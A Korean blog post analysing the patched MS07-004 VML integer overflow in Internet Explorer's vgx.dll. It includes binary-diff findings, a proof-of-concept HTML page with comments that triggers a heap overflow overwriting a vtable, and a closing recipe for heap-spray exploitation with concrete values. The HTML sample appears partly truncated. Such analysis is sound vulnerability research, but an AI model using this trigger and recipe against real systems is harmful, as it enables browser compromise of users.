분석에 도움되는 주요 내용들만 올렸습니다. 블로그 내용외의 질문은 별도로 해주세요.
개요
MS Security Bulletin에 공개된 정보는 아래와 같습니다.
굳이 취약점의 유형을 분류하자면 wrap around에 의한 integer overflow로 분류할 수 있겠습니다.취약점으로 인해 힙 영역에서 오버플로우가 유발되어 Virtual function table을 덮어쓰는 것이 가능합니다.
바이너리 디핑
패치 대상
MS07-004 패치 대상은 vgx.dll 입니다. 패치가 이루어진 vgx.dll의 버전은 한글 XP를 기준으로 6.0.2900.3051 입니다.
패치 히스토리 검토
VML에 관한 마지막 패치는 MS06-055에서 이루어졌습니다. MS06-055 취약점이 패치된 vgx.dll의 버전은 한글 xp를 기준으로 6.0.2900.2997 입니다.
바이너리 디핑 결과
가난한 관계로 EBDS를 사용하였습니다. BinDiff 기증해주시면 1년 내내 취약점 분석해 드리겠습니다. ^^;; (BinDiff를 써보고 싶은 1인)
아래는 디핑 결과입니다..
CVMLRecolorinfo의 멤버함수인 InternalLoad에 취약점이 존재합니다. Match rate는 0.9677 입니다. 디핑 그래프는 아래와 같습니다.
전형적인 오버플로우 패치의 모습을 보입니다. 패치된 코드 내용을 분석하면 아래와 같습니다.
취약점 검증 및 익스플로잇 작성
취약점을 분석하기 위해 사용한 html 페이지입니다. 이 전에 몇가지 분석 작업이 더 있었습니다만, 다음의 주석만으로도 충분히 이해가능하리라 봅니다.
<head>
<object id="VMLRender"
classid="CLSID:10072CEC-8CC1-11D1-986E-00A0C955B42E">
</object>
<style>
v\:* { behavior: url(#VMLRender); }
</style>
</head>
<body>
<v:recolorinfo recolorstate="t" numcolors="97612895">
<!-- 실험결과 numcolors 값이 2ch와 곱해집니다. 이 값이 충분히 크면 -->
<!-- integer overflow가 발생합니다. -->
<!-- 사용된 값은 0x5D1745D + 2 입니다. -->
<!--위한 공간만 할당하도록 유도하였으므로 3개의 엔트리만으로도 오버플로우가 -->
<!--가능합니다. 역시 분석 결과 오버라이팅되는 부분에 VTBL이 존재함을 알 수 -->
<!--있었습니다.-->
<!-- 각각의 속성 값은 식별을 위해 고유하게 부여하였습니다. -->
<v:recolorinfoentry tocolor="rgb(1,2,3)" recolortype="43690"
lbcolor="rgb(4,5,6)" forecolor="rgb(7,8,9)" backcolor="rgb(10,11,12)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(13,14,15)" recolortype="48059"
lbcolor="rgb(16,17,18)" forecolor="rgb(19,20,21)" backcolor="rgb(22,23,24)"
fromcolor="rgb(25,26,27)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(28,29,30)" recolortype="52428"
lbcolor="rgb(31,32,33)" forecolor="rgb(34,35,36)" backcolor="rgb(37,38,39)"
</html>
JIT를 ollydbg로 설정한 후 위 페이지를 오픈한 결과입니다.
익스플로잇 방법
힙스프레이 기법을 이용하면 됩니다. NOP sled로는 적당한 사이즈의 0x05050505.....를 사용하고 그 뒤에 쉘코드를 붙인 후 힙에 뿌렸습니다. (0x05050000 번지 위까지 채웠습니다.) 그 다음 overflow를 유발시키기 위해 numcolors의 값은 97612895(0x5D1745F)를 사용하였고 세 개의 recolorinfoentry만 사용하였으면 ECX의 값을0x05050000이 되도록 조작하기 위해 세번째 엔트리의 recolortype 값을 1285로 설정하였습니다. milw0rm에 LifeAsaGeek님께서 작성하신 PoC가 있으니 참고하시면 될 듯합니다. (최종 모양은 약간 다릅니다) 위에서 분석에 사용되었던 html 페이지를 적당히 수정하고 앞부분에 힙스프레이 하는 부분만 완성하시면 끝!
이올린에 북마크하기